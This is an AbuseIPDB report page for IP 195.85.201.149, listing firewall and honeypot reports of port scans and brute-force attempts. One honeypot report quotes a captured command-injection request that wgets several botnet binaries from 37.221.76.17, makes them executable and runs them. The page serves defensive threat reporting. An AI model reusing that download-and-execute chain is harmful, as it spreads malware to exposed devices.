JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 195.85.201.149

195.85.201.149 was found in our database!

This IP was reported 100 times. Confidence of Abuse is 100%: ?

100%

ISP	PIXOOF TEKNOLOJI A.S.
Usage Type	Data Center/Web Hosting/Transit
ASN	AS51722
Domain Name	pixoof.com
Country	🇹🇷 Turkey
City	Istanbul, Istanbul

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 195.85.201.149

Whois 195.85.201.149

IP Abuse Reports for 195.85.201.149:

This IP address has been reported a total of 100 times from 64 distinct sources. 195.85.201.149 was first reported on September 29th 2021, and the most recent report was 4 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 phil2k	2026-07-20 19:30:32 (4 hours ago)	Firewall: Within 2026-07-19 13:58:55 - 2026-07-19 18:28:05 CEST(+0200) identified: unallowed access ... show more Firewall: Within 2026-07-19 13:58:55 - 2026-07-19 18:28:05 CEST(+0200) identified: unallowed access from 195.85.201.149 on port 60001(tcp:60001) (1 trial) Fail2ban: Within 2026-07-19 13:58:55 - 2026-07-19 18:28:05 CEST(+0200) banned: 2 times by fail2ban[firewall] show less	Port Scan Brute-Force
🇮🇳 evicky2002	2026-07-20 06:00:00 (17 hours ago)	Confirmed malicious by STILWaters CTI platform (score=100, sources=1)	Hacking Brute-Force SSH
🇩🇪 reznekcs	2026-07-20 05:02:41 (18 hours ago)	Blocked by UFW firewall	Brute-Force
🇨🇿 Countryman	2026-07-19 19:59:55 (1 day ago)	repeated unauthorized connection attempts, host sweep, port scan	Port Scan
🇺🇸 xmission.com	2026-07-19 19:57:39 (1 day ago)	Blocked by UFW (TCP on 60001) Source port: 59203 TTL: 235 Packet length: 40 TOS: 0x00 This report ( ... show more Blocked by UFW (TCP on 60001) Source port: 59203 TTL: 235 Packet length: 40 TOS: 0x00 This report (for 195.85.201.149) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇳🇱 DonAtari	2026-07-19 19:51:57 (1 day ago)	DShield firewall scan - TCP to port 8082	Brute-Force SSH
🇩🇪 london2038.com	2026-07-19 19:51:10 (1 day ago)	Connection atttempts against closed TCP ports Jul 19 14:44:59 BLOCK SRC=195.85.201.149 LEN=40 TOS=0x ... show more Connection atttempts against closed TCP ports Jul 19 14:44:59 BLOCK SRC=195.85.201.149 LEN=40 TOS=0x00 PREC=0x00 TTL=243 ID=54321 PROTO=TCP SPT=34217 DPT=60001 WINDOW=65535 RES=0x00 SYN Jul 19 17:22:00 BLOCK SRC=195.85.201.149 LEN=40 TOS=0x00 PREC=0x00 TTL=243 ID=54321 PROTO=TCP SPT=47373 DPT=60001 WINDOW=65535 RES=0x00 SYN Jul 19 21:51:09 BLOCK SRC=195.85.201.149 LEN=40 TOS=0x00 PREC=0x00 TTL=243 ID=54321 PROTO=TCP SPT=59616 DPT=60001 WINDOW=65535 RES=0x00 SYN show less	Port Scan
🇦🇺 LiftUp Hosting	2026-07-19 19:45:57 (1 day ago)	Honeypot hit: HTTP/1.1 request on 60001 GET / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebK ... show more Honeypot hit: HTTP/1.1 request on 60001 GET / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36; 60001 [1] TCP show less	Hacking Bad Web Bot
🇳🇱 StopAbuse	2026-07-19 19:35:44 (1 day ago)	tcp/6001	Port Scan
🇺🇸 xmission.com	2026-07-19 19:33:34 (1 day ago)	Blocked by UFW (TCP on 6001) Source port: 53560 TTL: 230 Packet length: 40 TOS: 0x08 This report (f ... show more Blocked by UFW (TCP on 6001) Source port: 53560 TTL: 230 Packet length: 40 TOS: 0x08 This report (for 195.85.201.149) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇫🇮 6kilowatti	2026-07-19 19:26:58 (1 day ago)	2026-07-19T22:26:57.371195+03:00 koti kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:bd:29:2d:18:f ... show more 2026-07-19T22:26:57.371195+03:00 koti kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:bd:29:2d:18:fd:74:70:71:9e:08:00 SRC=195.85.201.149 DST=10.0.0.30 LEN=40 TOS=0x00 PREC=0x00 TTL=247 ID=54321 PROTO=TCP SPT=45489 DPT=6001 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇧🇷 somosbr	2026-07-19 19:18:08 (1 day ago)	[2026-07-19T19:18:08Z] Unsolicited scan from 195.85.201.149 to port 6001/tcp	Port Scan
🇫🇷 EvoX	2026-07-19 19:17:37 (1 day ago)	🛡️ Honeypot [bsts-tpot-hive]: HTTP/1.1 request on 6001 GET /shell?cd+/tmp;rm+-rf+;wget+http://37.2 ... show more 🛡️ Honeypot [bsts-tpot-hive]: HTTP/1.1 request on 6001 GET /shell?cd+/tmp;rm+-rf+;wget+http://37.221.76.17/bins/px86;-O+px86;chmod+777+px86;./px86+sharks;wget+http://37.221.76.17/bins/x86_64;-O+x86_64;chmod+777+x86_64;./x86_64+sharks;wget+http://37.221.76.17/bins/pmpsl;-O+pmpsl;chmod+777+pmpsl;./pmpsl+sharks;wget+http://37.221.76.17/bins/pmips;-O+pmips;chmod+777+pmips;./pmips+sharks;wget+http://37.221.76.17/bins/parm7;-O+parm7;chmod+777+parm7;./parm7+sharks;wget+http://37.221.76.17/bins/parm6;-O+parm6;chmod+777+parm6;./parm6+sharks;wget+http://37.221.76.17/bins/parm5;-O+parm5;chmod+777+parm5;./parm5+sharks;wget+http://37.221.76.17/bins/parm;-O+parm;chmod+777+parm;./parm+sharks User-Agent: KrebsOnSecurity Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate; 6001 [1] TCP show less	Hacking Bad Web Bot
🇩🇪 Admins@FBN	2026-07-19 19:12:42 (1 day ago)	FW-PortScan: Traffic Blocked srcport=43949 dstport=6001	Port Scan
🇺🇸 MPL	2026-07-19 18:56:05 (1 day ago)	tcp/80	Port Scan

Showing 1 to 15 of 100 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2607:f8b0:4001:c01::126

🇧🇷 205.210.31.242

🇺🇸 205.210.31.35

🇨🇳 221.214.104.46

🇳🇵 150.107.204.253

🇩🇪 91.204.46.13

🇫🇷 5.135.137.185

🇰🇷 221.156.126.1

🇪🇬 197.199.224.52

🇺🇸 137.184.66.163

🇳🇱 77.239.124.252

🇺🇸 2607:f8b0:400e:c09::120

🇨🇦 216.126.86.52

🇬🇧 87.106.65.126

🇳🇱 85.11.167.201

🇩🇪 2a01:4f8:150:13a5::100:3

🇩🇪 167.94.146.32

🇫🇷 137.74.114.131

🇺🇸 43.110.38.5

🇧🇷 205.210.31.133